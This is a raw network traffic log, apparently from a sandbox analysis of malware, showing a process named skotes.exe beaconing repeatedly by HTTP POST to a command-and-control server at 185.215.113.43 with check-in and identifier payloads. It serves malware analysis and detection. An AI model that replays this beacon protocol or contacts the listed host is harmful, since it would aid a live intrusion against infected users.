Nov 29, 2024 19:54:18.161072969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:19.588793993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50250	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:21.216547012 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:22.602274895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50251	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:24.353888035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:25.777831078 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50252	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:27.413572073 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:28.809684992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50253	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:30.551866055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:31.941087008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50254	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:33.570143938 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:34.954051018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50255	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:36.705406904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:38.148286104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50256	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:39.787296057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:41.217848063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50257	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:42.961884022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:44.309954882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50258	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:45.939086914 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:47.395749092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50259	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:49.137933969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:50.545607090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50260	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:52.174917936 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:53.512506008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50261	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:55.256577969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:54:56.606095076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50262	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:54:58.249077082 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:54:59.643408060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:54:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50263	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:01.385838032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:02.810193062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50264	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:04.443346977 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:05.847152948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50265	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:07.596684933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:08.981857061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50266	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:10.614702940 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:11.997129917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50267	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:13.731239080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:15.063383102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50268	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:16.708952904 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:18.093259096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	50269	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:19.826560974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:21.215485096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	50270	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:22.862131119 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:55:24.255150080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	50271	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:25.999983072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:55:27.424977064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	50272	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:55:29.057532072 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
